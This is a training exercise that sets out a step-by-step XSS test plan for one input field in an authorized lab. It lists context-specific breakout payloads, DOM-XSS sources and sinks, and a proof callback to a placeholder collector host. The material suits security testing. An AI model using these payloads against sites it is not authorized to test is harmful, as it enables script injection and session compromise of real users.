EXERCISE 1 — An XSS test plan for a single input field
=======================================================

(Test only your own app or an authorized lab.)

STEP 1 -- MAP THE REFLECTION(S).
  - Submit a UNIQUE BENIGN MARKER, e.g.  xss7421probe  in the field.
  - Find EVERYWHERE it appears: the immediate response, other pages, emails,
    admin views, exports. Note both direct (same page) and INDIRECT/second-
    order (stored, shown elsewhere) reflections. A field may surface in
    several contexts.

STEP 2 -- DETERMINE THE INJECTION CONTEXT (before crafting a payload).
  - For each reflection, view the raw HTML/source and see WHERE the marker
    landed (Chapter 3):
      * between tags ............ HTML body context
      * inside attr="..." ....... quoted attribute context
      * inside attr=... ......... unquoted attribute (more dangerous)
      * inside <script> ......... JavaScript context
      * inside href/src ......... URL context
      * inside <style> .......... CSS context
  - Also note what the app did to the marker: unchanged? entity-encoded?
    stripped? This tells you what defence (if any) is present.

STEP 3 -- TRY A CONTEXT-APPROPRIATE PAYLOAD.
  - Choose the breakout for that context:
      HTML body ....... <img src=x onerror=PROOF>
      attribute ....... "><img src=x onerror=PROOF>  or  " onmouseover=PROOF
      unquoted attr ... x onmouseover=PROOF
      JS string ....... ";PROOF;//   or   </script><img src=x onerror=PROOF>
      URL ............. javascript:PROOF
  - Or send ONE polyglot probe to test multiple contexts at once.

STEP 4 -- CONFIRM EXECUTION SAFELY.
  - Replace PROOF with an OBSERVABLE, UNIQUE, BENIGN signal -- NOT alert():
      console.log('xss7421')   (visible in DevTools console), or
      new Image().src='https://YOUR-collector/'+document.domain
        (a request to a server you control proves it ran AND tells you where).
  - If the signal fires, the field is XSS-vulnerable in that context.

STEP 5 -- CHECK DOM-BASED XSS SEPARATELY (scanners miss this).
  - Server-side testing won't catch DOM XSS, because the payload may flow only
    through client JS and (for location.hash) never reach the server.
  - In DevTools, trace SOURCES to SINKS:
      sources: location, location.hash, location.search, document.URL,
               document.referrer, postMessage data, window.name
      sinks:   innerHTML, outerHTML, document.write, insertAdjacentHTML,
               eval, setTimeout(string), new Function, jQuery .html()
  - Search the client JS for these sinks and see if any source reaches one
    unsanitized. Test with a fragment payload, e.g.
      https://site/page#<img src=x onerror=console.log('domxss')>
    Watch the console / Sources panel; confirm whether it executes.

DOCUMENT: context, payload, proof signal, and reflection location for each
finding, so the fix can target the right output site.